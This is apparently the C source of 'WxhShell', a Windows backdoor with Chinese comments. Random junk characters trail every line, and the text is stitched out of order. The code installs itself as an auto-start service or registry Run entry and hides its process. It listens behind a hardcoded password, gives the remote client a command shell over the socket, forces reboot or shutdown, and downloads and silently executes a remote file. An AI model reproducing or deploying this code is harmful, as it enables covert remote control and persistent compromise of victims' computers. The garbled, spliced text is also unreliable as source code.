    if(Boot(SHUTDOWN)) A:y.s;<L 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v`V7OD#:j]  
    else { w'X]M#Q><  
    closesocket(wsh); _U{([M>;  
    ExitThread(0); JlKM+UE :  
    } ]I/Vbs  
    break; 'a^{=+  
    } W23]Bx  
  // 获取shell {k5X*W  
  case 's': { h;V,n  
    CmdShell(wsh); W$qd/'%  
    closesocket(wsh); CC;! <km  
    ExitThread(0); 4f~["[*ea  
    break; ]NhS=3*i+  
  } |wox1Wt|E  
  // 退出 y<XlRTy[}  
  case 'x': { `o79g"kxe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1Uf*^WW4  
    CloseIt(wsh); ecOy6@UDY  
    break; .$", *d  
    } #a| L3zR5v  
  // 离开 7n)&FX K`  
  case 'q': { 7ou46v|m5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7&O`p(j  
    closesocket(wsh); 44\>gI<  
    WSACleanup(); PN$ .X"D8  
    exit(1); 5FC4@Ms`  
    break; dSIH9D  
        } `\<37E\N}  
  } Rq~t4sA:  
  } 9umGIQHnil  
f>$h@/-*  
  // 提示信息 'mdMq=VI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %Y4e9T".  
} 6Ggs JU  
  } n,P5o_^:  
[O-sVYB  
  return; ID1?PM  
} g"Q h]:  
<Wl(9$  
// shell模块句柄 }tST)=M`  
int CmdShell(SOCKET sock) ly4Qg\l  
{ ZF#Rej?  
STARTUPINFO si; OySy6IN]q  
ZeroMemory(&si,sizeof(si)); ,7|;k2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 77gysd\(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f?Bj _z  
PROCESS_INFORMATION ProcessInfo; !- ~ X?s~L  
char cmdline[]="cmd"; *QE<zt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NB8&   
  return 0; v.Ogf 5  
} Aq#/2t  
Az*KsY{/r  
// 自身启动模式 wpPn}[a  
int StartFromService(void) ;~zNqdlH  
{ 96|[}:+$&:  
typedef struct  5K56!*Y  
{ O ++/ry%k  
  DWORD ExitStatus; BQgoVnQo_c  
  DWORD PebBaseAddress; e(\I_  
  DWORD AffinityMask; u@ N~1@RT|  
  DWORD BasePriority; T|'&K:[TJ  
  ULONG UniqueProcessId; (fk5'  
  ULONG InheritedFromUniqueProcessId; 6p<`h^  
}   PROCESS_BASIC_INFORMATION; J?712=9  
z[!x:# q8`  
PROCNTQSIP NtQueryInformationProcess; =fG:A(v%}  
-$4kBYC l+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~a+NJ6e1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z?.(3oLT  
d!{7r7ob\  
  HANDLE             hProcess; DvT+`X?R  
  PROCESS_BASIC_INFORMATION pbi; a5wDm  
we]>(|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sB7" 0M  
  if(NULL == hInst ) return 0; o'UHStk  
K; kM_%9u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xks?y.wA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [e4![G&y`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T1~)^qQ  
emWGIo  
  if (!NtQueryInformationProcess) return 0; jUY+3"?   
|>utWT]S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E$S`6+x`:a  
  if(!hProcess) return 0; #( uj$[o  
o~~9!\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YOw?'+8  
9)ea.Gu  
  CloseHandle(hProcess); A@ VaaX  
HF4Lqh'oco  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j+>Q#&h9  
if(hProcess==NULL) return 0; )Qr6/c 8}  
~%P3Pp  
HMODULE hMod; /2w@ K_Px6  
char procName[255]; C_-E4I Z)  
unsigned long cbNeeded; ZLJNw0!=|t  
5P\N"Yjx'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dQ6GhS ~  
M:|/ijp N  
  CloseHandle(hProcess); $c9=mjwH  
BTs0o&}e  
if(strstr(procName,"services")) return 1; // 以服务启动 Xiju"Cup"  
@XBH.A^7r  
  return 0; // 注册表启动 F@<MT<TRf  
} 5&(3A|P2  
C1ZyB"{  
// 主模块 {Q<0\`A  
int StartWxhshell(LPSTR lpCmdLine) 0BXs&i-TP5  
{ \\s?B K  
  SOCKET wsl; @LC~*_y   
BOOL val=TRUE; s!`H  
  int port=0; /s8/q2:  
  struct sockaddr_in door; EE9vk*[@C  
{Y "8~  
  if(wscfg.ws_autoins) Install(); O\JD,w  
#^; s<YZ`  
port=atoi(lpCmdLine); @#CF".fuN>  
WVkG 2  
if(port<=0) port=wscfg.ws_port; vnVZJ}]w\  
*I/A,#4r  
  WSADATA data; x Ty7lfSe  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tx)OJY  
' 3VqkQ4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oB}K[3uB:t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Un\Ubqi0  
  door.sin_family = AF_INET; d/4ubf+$k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )O -cw7 >  
  door.sin_port = htons(port); IadK@?X6j  
NkoofhZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -[<vYxX:h:  
closesocket(wsl); <L2GUX36#  
return 1; Mb~~A5  
} /khnl9~+  
bZK+9IR  
  if(listen(wsl,2) == INVALID_SOCKET) { ;9vIa7L&  
closesocket(wsl); oL)lyUVT  
return 1; q>P[nz%  
} J$#D:KaU:N  
  Wxhshell(wsl); >mew"0Q  
  WSACleanup(); pOX$4$VR<  
J+0/ :00(  
return 0; ,,Jjr[A_j  
+R9%~Z.=  
} K:uQ#W.&  
` %l&zwj>  
// 以NT服务方式启动 prqT(1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (;C$gnr.C  
{ E`(5UF*>  
DWORD   status = 0; "2%y~jrDN  
  DWORD   specificError = 0xfffffff; iF8@9m  
uvR0TIF4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ruzMag)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Lblet  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n}VbdxlN  
  serviceStatus.dwWin32ExitCode     = 0; 2 ae w6~  
  serviceStatus.dwServiceSpecificExitCode = 0; kHGeCJe\{  
  serviceStatus.dwCheckPoint       = 0; KUlB2Fqi  
  serviceStatus.dwWaitHint       = 0; L,E-z_<p  
'w'Dwqhmr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?rAi=w&c  
  if (hServiceStatusHandle==0) return; 8?A@/  
>).@Nb;e  
status = GetLastError(); YGfA qI y  
  if (status!=NO_ERROR) ju8',ZC  
{ Z}]:x `fXd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pA*D/P-  
    serviceStatus.dwCheckPoint       = 0; zfk'>_'  
    serviceStatus.dwWaitHint       = 0; =4YbVA+(  
    serviceStatus.dwWin32ExitCode     = status; j:3A;r\  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]$*$0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OI)&vQ5k  
    return; Q3 K;kS  
  } !O 0ZD4/{4  
?q+8 /2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :7HVBH  
  serviceStatus.dwCheckPoint       = 0; U'JP1\  
  serviceStatus.dwWaitHint       = 0; ]hCWe0F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9nP*N`  
} D<+ bzC  
E#yCcC!wMY  
// 处理NT服务事件,比如:启动、停止 [X0k{FR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uYG #c(lc  
{ )_Z]=5Ds  
switch(fdwControl) HV]~=Bw2I  
{ + TPbIRA  
case SERVICE_CONTROL_STOP: >WGX|"!"  
  serviceStatus.dwWin32ExitCode = 0; 'US:Mr3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aRFi0h \  
  serviceStatus.dwCheckPoint   = 0; ucIVVT(u  
  serviceStatus.dwWaitHint     = 0; ;g;,%jdCS  
  { 4<=eK7;XR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eukX#0/^  
  } V Z4nAG  
  return; mafAC73  
case SERVICE_CONTROL_PAUSE: {|8:U}<#h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5Ws:Ei{R  
  break; avYh\xZ  
case SERVICE_CONTROL_CONTINUE: ;j[q?^ b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IqR[&T)lj  
  break; O3sla bE#  
case SERVICE_CONTROL_INTERROGATE: <MI$N l  
  break; "B_5Y&pM`  
}; Zq2H9^![y~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @j)f(Zlu#  
} /NPl2\o.  
>tE,8  
// 标准应用程序主函数 E-*>f"<h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LbtlcpF*~5  
{ 1Ud t9$~T  
YyX^lL_  
// 获取操作系统版本 f_z2#,g  
OsIsNt=GetOsVer(); [A.eVuV;+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rx_,J%0Fq  
QjW~6Z.tI  
  // 从命令行安装 *YiD B?Si  
  if(strpbrk(lpCmdLine,"iI")) Install(); M8 ^ziZY  
S[\cT:{OE  
  // 下载执行文件 8ESkG  
if(wscfg.ws_downexe) { m%BMd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jS5t?0  
  WinExec(wscfg.ws_filenam,SW_HIDE); f"} 0j|Gg  
} UC?2mdLt^  
@n ~ND).  
if(!OsIsNt) { RN cI]oJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 <E(-QJ  
HideProc(); o$qFa9|Ec?  
StartWxhshell(lpCmdLine); Yp?a=R  
} S%a}ip&  
else 9v5.4a}  
  if(StartFromService()) x r+E  
  // 以服务方式启动 A7I8Z6&  
  StartServiceCtrlDispatcher(DispatchTable); 5jj5 7j"  
else %oSfL;W7  
  // 普通方式启动 j3V"d3)  
  StartWxhshell(lpCmdLine); MRxo|A{  
Vt$ $ceu  
return 0; T8M[eSbZ  
} W+-f `  
mtHi9).,y|  
Q>+_W2~]  
hH|XtQ.n^  
=========================================== s]V{}bY`  
s>"WQ|;6  
<)0LwkFtB  
4^jZv$l5  
O7L6Htya  
XQJV.SVS  
" =^".{h'-  
^HU=E@  
#include <stdio.h> m-pIFL<^N  
#include <string.h> I{X@<o}  
#include <windows.h> 6=[ PJM  
#include <winsock2.h>  (t]R#2{  
#include <winsvc.h> ' m# Ymp  
#include <urlmon.h> 'DB({s  
 ZeDDH  
#pragma comment (lib, "Ws2_32.lib") )9;kzp/  
#pragma comment (lib, "urlmon.lib") 2Xk1A S  
z<C~DH  
#define MAX_USER   100 // 最大客户端连接数 sjVl/t`l  
#define BUF_SOCK   200 // sock buffer aV0;WH_3  
#define KEY_BUFF   255 // 输入 buffer 6b1 Uj<  
Xb07 l3UG  
#define REBOOT     0   // 重启 s$=B~l  
#define SHUTDOWN   1   // 关机 KcMzZ!d7m  
Lh5+fk~i~8  
#define DEF_PORT   5000 // 监听端口 l<+,(E=  
<P Z\qE*+y  
#define REG_LEN     16   // 注册表键长度 _ZvX"{y~  
#define SVC_LEN     80   // NT服务名长度 g]hn@{[  
[+[fD  
// 从dll定义API 7C 6BZ$(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^dp[ Z,[1z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ni;{\"Gt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nq w*oLFQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &b#NF1Q.  
i~M.F=I5  
// wxhshell配置信息 {UjIxV(J  
struct WSCFG { N'1[t  
  int ws_port;         // 监听端口 ,'@ISCK^  
  char ws_passstr[REG_LEN]; // 口令 ?)ZLxLV::  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,\">ovV33  
  char ws_regname[REG_LEN]; // 注册表键名 k? _$h<Y  
  char ws_svcname[REG_LEN]; // 服务名 ;:K?7wfXn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BtDgv.;GH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HoQ(1e$G-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8B(Q7Qj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m$e@<~To  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [E&"9%K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8C4@V[sm`  
B\~3p4S  
}; =?QQb>  
m~\m"zJ4  
// default Wxhshell configuration Uu<sntyv  
struct WSCFG wscfg={DEF_PORT, Pp")hFx  
    "xuhuanlingzhe", #p^pvdvh3  
    1, U*#E aL  
    "Wxhshell", '"NdT7*+  
    "Wxhshell", JZ*?1S>  
            "WxhShell Service", ,@j& q  
    "Wrsky Windows CmdShell Service", ), x3tTR  
    "Please Input Your Password: ", =I*ZOE3n  
  1, /:];2P6#X  
  "http://www.wrsky.com/wxhshell.exe", q.Aw!]:!  
  "Wxhshell.exe" Nl>b'G96  
    }; Ay. q)  
1F%*k &R  
// 消息定义模块 9hi(P*%q   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |kRx[UL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S}oF7;'Ga  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r_2VExk  
char *msg_ws_ext="\n\rExit."; bu!<0AP"N+  
char *msg_ws_end="\n\rQuit."; [ZpG+VAJ8  
char *msg_ws_boot="\n\rReboot..."; a~+WL  
char *msg_ws_poff="\n\rShutdown..."; z K]%qv]  
char *msg_ws_down="\n\rSave to ";  7qdl,z  
"gVH;<&]  
char *msg_ws_err="\n\rErr!"; QrRCsy70  
char *msg_ws_ok="\n\rOK!"; uY#58?>'j  
b8xfV{3L  
char ExeFile[MAX_PATH]; nT6iS}h  
int nUser = 0; "MKsSty  
HANDLE handles[MAX_USER]; `rFGSq$9  
int OsIsNt; Pn){xfqDl  
t7& GCZ  
SERVICE_STATUS       serviceStatus; _ -FQ78C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Le+8s LE`Y  
+]2~@=<@  
// 函数声明 4zvU"np  
int Install(void); 3xR#,22:}  
int Uninstall(void); H<3b+Sg  
int DownloadFile(char *sURL, SOCKET wsh); k{$"-3ed  
int Boot(int flag); Z)>a6s$ih<  
void HideProc(void); T%xL=STJNy  
int GetOsVer(void); # SOj4W  
int Wxhshell(SOCKET wsl); bSKV|z/x  
void TalkWithClient(void *cs); e(5Px!B  
int CmdShell(SOCKET sock); ^ C#bW <T  
int StartFromService(void); *fyEw\`a  
int StartWxhshell(LPSTR lpCmdLine); dEl3?~  
)HiTYV)]'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nWg)zj:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GeR -k9  
9!<3qx/  
// 数据结构和表定义 3). c [F^l  
SERVICE_TABLE_ENTRY DispatchTable[] = mr\L q~*c  
{ m,"tdVo.  
{wscfg.ws_svcname, NTServiceMain}, G@6,O-Sj  
{NULL, NULL} "U~@o4u;  
}; ]uXsl0'`V  
;&:Et  
// 自我安装 A ba%Gh  
int Install(void) \{^yB4F_Z  
{ ?DTP-#5Ba  
  char svExeFile[MAX_PATH]; `RLrT3 4  
  HKEY key; B$eF@v"  
  strcpy(svExeFile,ExeFile); Al;oI3  
G~j<I/)"  
// 如果是win9x系统,修改注册表设为自启动 "!eT  
if(!OsIsNt) { v[=E f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]qT r4`.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q ?<9  
  RegCloseKey(key); !q1^X% a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9O_N iu0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QE6-(/  
  RegCloseKey(key); --hnv/AjI  
  return 0; Fi}rv[`XY[  
    } yM~D.D3H  
  } !!pi\J?sk  
} gDBQ\vM8  
else { nf^k3QS\  
t|,Ex7  
// 如果是NT以上系统,安装为系统服务 0X6o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qOanu  
if (schSCManager!=0) {;~iq  
{ ^vz@d+\Kd  
  SC_HANDLE schService = CreateService \d`Sz *  
  ( =1?yS3  
  schSCManager, '.v^seU  
  wscfg.ws_svcname, ~#Mx&mZ  
  wscfg.ws_svcdisp, U~c;W@T  
  SERVICE_ALL_ACCESS, xL"o)]a=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q2PwO;E.`C  
  SERVICE_AUTO_START, S}I=i>QB  
  SERVICE_ERROR_NORMAL, hS/'b$#  
  svExeFile, !~kzxY  
  NULL, g0$k_  
  NULL, f@g  
  NULL, n#,l&Bx  
  NULL, VAzJclB  
  NULL i`s pM<iR.  
  ); SZ){1Hu  
  if (schService!=0) pZn%g]nRD  
  { CT`X~y10  
  CloseServiceHandle(schService); 32/P(-  
  CloseServiceHandle(schSCManager); 1#u w^{n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^!tI+F{n{  
  strcat(svExeFile,wscfg.ws_svcname); xz'd5 re%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <5^(l$IBj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !d )i6W?  
  RegCloseKey(key); VG7#6)sQoK  
  return 0; q,Q|Uvpk  
    } AXI:h"so  
  } J8'zvH&I  
  CloseServiceHandle(schSCManager); m @ ?e <$  
} Z}f_\d'  
} fe/6JV  
e8v=n@0  
return 1; p$ <qT^]&  
} M*uG`Eo&  
hglt D8,  
// 自我卸载 ?Ea"%z*c5  
int Uninstall(void) u{z{3fW_  
{ #+\G- =-  
  HKEY key; 9mm(?O~'p  
`7ZJB$7D|*  
if(!OsIsNt) { ?8/h3xV;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _\[G7  
  RegDeleteValue(key,wscfg.ws_regname); ,oil}N(  
  RegCloseKey(key); 1>{(dd?L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2N]s}/l  
  RegDeleteValue(key,wscfg.ws_regname); 8m0sEV>  
  RegCloseKey(key); >S]')O$c  
  return 0; V|`|CVFo]  
  } Zv93cv  
} kRPg^Fw"Vw  
} >AJ|F)  
else { [l:.Q?? )|  
s,x]zG"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eW%jDsC  
if (schSCManager!=0) RdHR[Usm  
{ Tkf !Y?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yL-L2  
  if (schService!=0) X;tk\Ixd  
  { 89bKnsV  
  if(DeleteService(schService)!=0) { }fZBP]<I(  
  CloseServiceHandle(schService); VCO/s9AL  
  CloseServiceHandle(schSCManager); @d|9(,Q  
  return 0; N 5DS-gv  
  } b.&YUg[#  
  CloseServiceHandle(schService); {'(8<n57  
  } 8),Y|4  
  CloseServiceHandle(schSCManager); 2hP8ZfvIR  
} .VT,,0  
} 1\uS~RR  
79_MP  
return 1; {{\HU0g>&  
} #4>F%_  
XLT<,B}e  
// 从指定url下载文件 yM@cml6Ox  
int DownloadFile(char *sURL, SOCKET wsh) mr? ii  
{ \mloR '  
  HRESULT hr; $)!Z"2T  
char seps[]= "/"; r^)<Jy0|r  
char *token; =B1!em|  
char *file; clNP9{  
char myURL[MAX_PATH]; jC%I]#!n  
char myFILE[MAX_PATH]; 1YxI q565  
3$54*J  
strcpy(myURL,sURL); dQ]j r.  
  token=strtok(myURL,seps); q-#fuD^  
  while(token!=NULL) }: e9\r)  
  { l<+k[@Vox  
    file=token; 3Daq5(fLP  
  token=strtok(NULL,seps); ~4 ab\hq  
  } :|Cf$2k7  
9tO_hhEQ@  
GetCurrentDirectory(MAX_PATH,myFILE); Ai;Pht9qi  
strcat(myFILE, "\\"); -5K/ cK  
strcat(myFILE, file); 2X`M&)"X  
  send(wsh,myFILE,strlen(myFILE),0); Y i`.zm  
send(wsh,"...",3,0); tN~{Mt$-W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "2J;~  
  if(hr==S_OK) szHUHW~;J  
return 0; )<d8yLb  
else S5JnJkNn  
return 1; K9R[ oB]b  
@Klj!2cv$  
} mwxJ#  
5|Qr"c$p  
// 系统电源模块 xlAaIo)T  
int Boot(int flag) c1[;a>  
{ SW7%SX,xM  
  HANDLE hToken; .kVga+la?  
  TOKEN_PRIVILEGES tkp; ?9:\1)]  
?jbam! A  
  if(OsIsNt) { W2RS G~|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kVY@q&p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C;` fOCz^  
    tkp.PrivilegeCount = 1; Hg4Ut/0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @)B_e*6>'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "<n{/x(  
if(flag==REBOOT) { DWAU8>c+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y4') !e  
  return 0; IWkBq]Y  
} })B)-8  
else { ^:BRbp37i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \MU4"sXw  
  return 0; PA E)3  
} L<: ya  
  } dx^3(#B  
  else { yAOC<d9 E  
if(flag==REBOOT) { [ LCi,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m<E7cY3mX  
  return 0; kHO\#fF<  
} IX}l)t[:(  
else { 39"'Fz?1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f] Vz!hM~  
  return 0; N|DY)W  
} x {rt\OT  
} .#X0P=  
<YC{q>EMc  
return 1; ]@xc9 tlG  
} +=R:n^r^,  
?NL2|8  
// win9x进程隐藏模块 \vI_%su1N  
void HideProc(void) |l9AgwDg  
{ %UmE=V  
bnlL-]]9z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R~`Y6>o~9:  
  if ( hKernel != NULL ) gVGq  
  { G 6][@q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z# y<QH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -I -wdyDr  
    FreeLibrary(hKernel); -$7Jc=:>  
  } /<mc~S7  
\sk,3b-&'  
return; X@arUs7  
} ,GK>|gNsb  
m>iuy:ti  
// 获取操作系统版本 ~Sh}\&3p  
int GetOsVer(void) '@$?A>.cj  
{ \R~Lf+q  
  OSVERSIONINFO winfo; dgO2fI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >@t]M`#&h  
  GetVersionEx(&winfo); 3yTBkFI!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RKe19l_V  
  return 1; E(TY%wO  
  else b`^$2RM&  
  return 0; +G?3j,a\  
} )T>a|.  
3}"VUS0wh  
// 客户端句柄模块 <Sz9: hg-  
int Wxhshell(SOCKET wsl) pRC#DHcHh  
{ X3nwA#If1  
  SOCKET wsh; U<*dDE~z  
  struct sockaddr_in client; *@O;IiSE  
  DWORD myID; 2W}RXqV<  
z.QW*rW9  
  while(nUser<MAX_USER) IRpCbTIXK  
{ 9<R:)Df  
  int nSize=sizeof(client); o:?IT/>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zNB G;\ W  
  if(wsh==INVALID_SOCKET) return 1; giI9-C  
&=f%(,+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KVK@Snn   
if(handles[nUser]==0) 6ds&n#n  
  closesocket(wsh); V482V#BP  
else jildiT[s  
  nUser++; [9w8oNg0  
  } l!`m}$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c0tv!PSw  
uz%rWN`{  
  return 0; A0'Yfuie  
} b+{yF  
c^m}ep\F5L  
// 关闭 socket /ZAEvdO*P  
void CloseIt(SOCKET wsh) vwP83b0ov"  
{ l!GAMK 6o  
closesocket(wsh); b6#V0bDXHD  
nUser--; ~V(WD;Mk  
ExitThread(0); k&9 b&-=fk  
} ](^xA `  
grv 3aa@  
// 客户端请求句柄 xNT[((  
void TalkWithClient(void *cs) : G<1   
{ OYe @P  
uHy^ Bq  
  SOCKET wsh=(SOCKET)cs; !W8$-iq  
  char pwd[SVC_LEN]; 0Tq6\:  
  char cmd[KEY_BUFF]; 3Y>!e#  
char chr[1]; lx%<oC+M  
int i,j; qg+ 8i9Y!  
qF>}"m  
  while (nUser < MAX_USER) { ).xQ~A\.  
;X\,-pjv  
if(wscfg.ws_passstr) { SC'fT!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1;SWfKU?.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !sUo+Y  
  //ZeroMemory(pwd,KEY_BUFF); S_C+1e  
      i=0; < =sO@0(<  
  while(i<SVC_LEN) { K4y4!zz  
`^RpT]S  
  // 设置超时 {gzL}KL  
  fd_set FdRead; EWbFy"=  
  struct timeval TimeOut; B1 'Ds  
  FD_ZERO(&FdRead); 7Qz Uw  
  FD_SET(wsh,&FdRead); 3. Kh  
  TimeOut.tv_sec=8; ,LG6py&aT  
  TimeOut.tv_usec=0; O"^KX5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gR%fv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5r@x$*>e  
"(/.3`g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )| 3?7?X  
  pwd=chr[0]; mL ]zkD_  
  if(chr[0]==0xd || chr[0]==0xa) { 7n {uxE#U)  
  pwd=0; 0z.Hl1  
  break; i{xgygp6f  
  } }VdohX-  
  i++; jeC3}BL }  
    } DjtUX>e  
nT9B?P>  
  // 如果是非法用户,关闭 socket 8IbHDDS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }~yhkt5K  
} !fjDO!,!  
Kh}#At^C8e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9tWu>keu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iq=<LOx  
L3,p8-d9Z  
while(1) { Beq zw0  
eNpGa0 eG  
  ZeroMemory(cmd,KEY_BUFF); Y0 Ta&TYZ0  
*e!0ZB3J  
      // 自动支持客户端 telnet标准   b v~"_)C  
  j=0; P;{f+I|`  
  while(j<KEY_BUFF) { )mS Aog<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gm\P`~+o  
  cmd[j]=chr[0]; V~%!-7?  
  if(chr[0]==0xa || chr[0]==0xd) { c&J,O1){\  
  cmd[j]=0; 44b;]htv  
  break; Z-.`JkKd8  
  } rOEk%kJ  
  j++; 8 Ys DE_  
    } wHvX|GwMv  
`~F=  
  // 下载文件 *{/BPc0*  
  if(strstr(cmd,"http://")) { txw:m*(%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :iP2e+j  
  if(DownloadFile(cmd,wsh)) 'WUd7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q!iM7C!8  
  else iG^o@*}a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1!~=8FTv  
